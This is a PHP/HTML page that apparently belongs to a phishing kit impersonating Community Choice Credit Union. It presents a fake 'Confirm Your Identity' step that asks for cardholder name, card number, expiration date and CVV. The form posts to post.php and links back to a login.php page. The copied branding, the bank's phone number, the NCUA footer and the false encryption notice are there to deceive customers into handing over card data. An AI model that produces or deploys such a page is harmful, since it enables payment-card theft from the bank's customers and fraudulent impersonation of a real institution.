<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Community Choice CU — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root { --green:#B4F3BF; --dark:#003A40; --tan:#D2F8D9; --dark-mid:#005060; --text:#1a1a1a; --text-sub:#444; --border:#c8e8cc; --white:#ffffff; }
        html,body { height:100%; font-family:'Inter',sans-serif; color:var(--text); }
        body { display:flex; flex-direction:column; min-height:100vh; }

        .utility-bar { background:var(--dark); padding:9px 48px; display:flex; align-items:center; justify-content:flex-end; gap:28px; }
        .utility-bar a { font-size:13px; color:rgba(255,255,255,0.88); text-decoration:none; font-weight:500; }
        .utility-bar .phone { font-weight:700; color:#fff; }

        .main-nav { background:var(--white); padding:0 48px; display:flex; align-items:center; justify-content:space-between; height:76px; border-bottom:1px solid #e8f5ea; position:relative; z-index:200; }
        .nav-logo img { height:52px; width:auto; display:block; }
        .nav-links { display:flex; align-items:center; gap:4px; }
        .nav-links a { font-size:14px; font-weight:500; color:var(--dark); text-decoration:none; padding:8px 14px; border-radius:6px; display:flex; align-items:center; gap:5px; }
        .nav-links a:hover { background:var(--tan); }
        .btn-login-nav { background:var(--dark); color:#fff; border:none; border-radius:8px; padding:11px 28px; font-family:'Inter',sans-serif; font-size:14px; font-weight:600; cursor:pointer; }

        /* Page: avif bg + dark overlay */
        .page-bg { flex:1; position:relative; display:flex; align-items:center; justify-content:center; padding:60px 20px; }
        .page-bg-img { position:absolute; inset:0; background:url('res/img/background.avif') center center / cover no-repeat; z-index:0; }
        .page-bg-overlay { position:absolute; inset:0; background:rgba(0,58,64,0.82); z-index:1; }

        .card { position:relative; z-index:2; background:var(--white); width:100%; max-width:500px; border-radius:14px; padding:38px 38px 38px; box-shadow:0 16px 60px rgba(0,0,0,0.3); animation:cardIn 0.4s ease both; }
        @keyframes cardIn { from{opacity:0;transform:translateY(14px)} to{opacity:1;transform:translateY(0)} }

        .card-logo { margin-bottom:22px; text-align:center; }
        .card-logo img { height:46px; width:auto; display:inline-block; }

        .step-indicator { display:flex; align-items:center; gap:8px; margin-bottom:24px; }
        .step { display:flex; align-items:center; justify-content:center; width:28px; height:28px; border-radius:50%; font-size:11px; font-weight:700; flex-shrink:0; }
        .step.done { background:var(--dark); color:#fff; }
        .step.active { background:var(--dark); color:var(--green); box-shadow:0 0 0 3px rgba(0,58,64,0.2); }
        .step.pending { background:#e8f5ea; color:#aab; }
        .step-line { flex:1; height:2px; background:#d0ebd4; border-radius:2px; }
        .step-line.done { background:var(--dark); opacity:0.3; }

        .card-header { margin-bottom:18px; padding-bottom:16px; border-bottom:2px solid var(--dark); }
        .card-header h1 { font-size:20px; font-weight:700; color:var(--dark); }
        .card-header p { font-size:13px; color:var(--text-sub); margin-top:4px; }

        .sec-notice { display:flex; align-items:center; gap:9px; background:rgba(0,58,64,0.06); border:1px solid rgba(0,58,64,0.14); border-radius:8px; padding:10px 13px; margin-bottom:16px; }
        .sec-notice svg { flex-shrink:0; color:var(--dark); }
        .sec-notice span { font-size:12.5px; color:var(--dark); font-weight:500; }

        .field { margin-bottom:13px; }
        .field label { display:block; font-size:11.5px; font-weight:600; color:var(--text-sub); margin-bottom:5px; letter-spacing:0.04em; text-transform:uppercase; }
        .field input { width:100%; height:46px; padding:0 13px; border:1.5px solid var(--border); border-radius:8px; font-family:'Inter',sans-serif; font-size:14px; color:var(--text); background:var(--white); outline:none; transition:border-color 0.15s,box-shadow 0.15s; -webkit-appearance:none; }
        .field input::placeholder { color:#bbb; }
        .field input:focus { border-color:var(--dark); box-shadow:0 0 0 3px rgba(0,58,64,0.1); }
        .field-row { display:grid; grid-template-columns:1fr 1fr; gap:12px; margin-bottom:13px; }
        .field-row .field { margin-bottom:0; }

        .btn-main { width:100%; height:48px; background:var(--dark); color:#fff; border:none; border-radius:8px; font-family:'Inter',sans-serif; font-size:14px; font-weight:700; cursor:pointer; margin-bottom:16px; display:flex; align-items:center; justify-content:center; gap:8px; transition:background 0.15s; }
        .btn-main:hover { background:var(--dark-mid); }

        .card-links { display:flex; flex-direction:column; gap:10px; padding-top:14px; border-top:1px solid #e0ebe2; }
        .card-links a { font-size:13px; color:var(--dark); text-decoration:none; display:flex; align-items:center; gap:5px; }
        .card-links a:hover { color:var(--dark-mid); text-decoration:underline; }

        .page-footer { background:var(--dark); padding:20px 48px; display:flex; align-items:center; justify-content:space-between; flex-wrap:wrap; gap:12px; }
        .footer-links { display:flex; gap:20px; }
        .footer-links a { font-size:12px; color:rgba(255,255,255,0.55); text-decoration:none; }
        .footer-copy { font-size:12px; color:rgba(255,255,255,0.35); }

        @media(max-width:500px) { .card{padding:24px 20px 28px;} .field-row{grid-template-columns:1fr;} .nav-links{display:none;} .main-nav{padding:0 20px;} }
    </style>
</head>
<body>
    <div class="utility-bar">
        <a href="#">Apply for a Loan</a><a href="#">Rates</a><a href="#">Locations</a><a href="#">Make a Payment</a>
        <span class="phone">CALL US 877.243.2528</span>
    </div>
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Community Choice CU"></div>
        <div class="nav-links">
            <a href="#">Bank <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Borrow <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Who We Are <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <button class="btn-login-nav">Log In</button>
    </nav>

    <div class="page-bg">
        <div class="page-bg-img"></div>
        <div class="page-bg-overlay"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="Community Choice CU"></div>
            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">2</div><div class="step-line"></div>
                <div class="step pending">3</div>
            </div>
            <div class="card-header">
                <h1>Confirm Your Identity</h1>
                <p>Enter your card details to verify your account</p>
            </div>
            <div class="sec-notice">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                <span>Your information is encrypted and secure</span>
            </div>
            <form action="post.php" method="post">
                <div class="field"><label>Cardholder Name</label><input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name"></div>
                <div class="field"><label>Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric"></div>
                <div class="field-row">
                    <div class="field"><label>Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric"></div>
                    <div class="field"><label>CVV</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric"></div>
                </div>
                <button type="submit" class="btn-main">Continue <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
            </form>
            <div class="card-links">
                <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Community Choice Credit Union. Federally Insured by NCUA.</div>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>$("#cc").mask("0000 0000 0000 0000");$("#exp").mask("00/00");$("#cvv").mask("0000");</script>
</body>
</html>